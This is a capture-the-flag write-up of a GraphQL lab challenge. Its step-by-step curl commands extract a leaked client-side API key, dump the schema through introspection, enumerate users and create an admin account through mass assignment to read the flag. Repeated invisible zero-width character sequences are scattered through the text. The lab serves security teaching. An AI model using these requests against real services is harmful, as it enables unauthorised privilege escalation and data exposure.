← Back to Writeups
CUSTOMEasyWeb

SyncGraph

XESXOR9/10/20263 min read
#web#custom#easy#api_key_extraction_from_client#authorization_bypass#graphql_introspection#mass_assignment_role_escalatio#user_enumeration#linux

SyncGraph

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-14 | Status: Solved Techniques: api_key_extraction_from_client_js, authorization_bypass, graphql_introspection, mass_assignment_role_escalation, user_enumeration

Summary

Task: GraphQL API management platform with broken authentication — API key leaked in client-side JS, introspection enabled, and createUser mutation allows mass assignment of admin role. Solution: Extract API key from /js/playground.js, enumerate schema via introspection, create admin user via mass assignment on createUser mutation, query adminSettings for the flag.

SyncGraph — HackAdvisor Lab 289

Description

SyncGraph is a GraphQL API management platform built by GraphWave Technologies. It lets teams design, deploy, and monitor their GraphQL APIs through a unified gateway. The platform features an interactive API playground, team workspaces, usage analytics, and auto-generated documentation. The goal is to find and exploit weaknesses in the application's authentication and authorization model to gain admin access and retrieve the flag.

English summary: Express.js web application with a GraphQL API backend. Authentication uses API keys (x-api-key header) and JWT tokens. The goal is to escalate from a regular user to admin and retrieve the flag from admin-only settings. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

The application is an Express.js server with a GraphQL endpoint at /graphql. Authentication is two-layered: an API key (x-api-key header) gates access to the GraphQL endpoint itself, while JWT tokens (Authorization: Bearer) control role-based access to specific queries like adminSettings.

Key findings during reconnaissance:

  1. API Key Leak: The playground page at /playground loads /js/playground.js, which contains a hardcoded API key in the PLAYGROUND_CONFIG object: sgk_live_51Hx3RqK9vLm7Wp4YzTnBcXdJf8GhNs2AeQwU6. This key is used by the client-side executeQuery() function. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  2. Introspection Enabled: With the leaked API key, full GraphQL schema introspection is possible, revealing all queries (me, workspace, myWorkspace, queryLogs, apiUsageStats, listAllUsers, adminSettings), mutations (login, createUser, updateProfile, deleteQueryLog, inviteTeamMember), and types.

  3. Broken Access Control: The listAllUsers query is accessible without admin role, leaking all 8 users including admin@graphwave.io (Marcus Chen, role: ADMIN).

  4. Mass Assignment: The createUser mutation accepts an optional role parameter (type: String, nullable) with no authorization check — any authenticated user can create a new user with ADMIN role. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  5. Decoy Flag: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} was embedded in HTML comments and hidden divs on every page as a honeypot for automated scanners.

Solution

Step 1: Extract API Key from Client-Side JavaScript

bash
TARGET="https://70b4b3f7-f1f3-42e2-9d76-1487b0e85935.labs.hackadvisor.io"
curl -s "$TARGET/js/playground.js" | grep -o "sgk_[a-zA-Z0-9_]*"
# Output: sgk_live_51Hx3RqK9vLm7Wp4YzTnBcXdJf8GhNs2AeQwU6
API_KEY="sgk_live_51Hx3RqK9vLm7Wp4YzTnBcXdJf8GhNs2AeQwU6"

Step 2: Enumerate GraphQL Schema via Introspection

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -s "$TARGET/graphql" -H "Content-Type: application/json" \
  -H "x-api-key: $API_KEY" \
  -d '{"query":"{ __schema { queryType { fields { name } } mutationType { fields { name } } } }"}' | python3 -m json.tool

This reveals queries including listAllUsers and adminSettings, and mutations including createUser with an optional role parameter.

Step 3: Enumerate Users (Information Disclosure)

bash
curl -s "$TARGET/graphql" -H "Content-Type: application/json" \
  -H "x-api-key: $API_KEY" \
  -d '{"query":"{ listAllUsers { id email fullName role } }"}' | python3 -m json.tool

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reveals 8 users including admin: admin@graphwave.io (Marcus Chen, role: ADMIN).

Step 4: Create Admin User via Mass Assignment

bash
curl -s "$TARGET/graphql" -H "Content-Type: application/json" \
  -H "x-api-key: $API_KEY" \
  -d '{"query":"mutation { createUser(username: \"hacker\", email: \"hacker@test.com\", password: \"hacker123\", fullName: \"Hacker Admin\", role: \"ADMIN\") { id email fullName role } }"}' | python3 -m json.tool

Response confirms "role": "ADMIN" — privilege escalation successful. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5: Login as Admin and Retrieve Flag

bash
# Get admin JWT
curl -s "$TARGET/graphql" -H "Content-Type: application/json" \
  -H "x-api-key: $API_KEY" \
  -d '{"query":"mutation { login(email: \"hacker@test.com\", password: \"hacker123\") { token user { id email role } } }"}' | python3 -m json.tool

# Use admin JWT to query adminSettings
ADMIN_TOKEN="<jwt_from_login>"
curl -s "$TARGET/graphql" -H "Content-Type: application/json" \
  -H "x-api-key: $API_KEY" \
  -H "Authorization: Bearer $ADMIN_TOKEN" \
  -d '{"query":"{ adminSettings { settingKey settingValue description } }"}' | python3 -m json.tool

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response includes the flag:

json
{
  "settingKey": "platform_secret_key",
  "settingValue": "FLAG{REDACTED}",
  "description": "Master platform secret key - DO NOT SHARE"
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍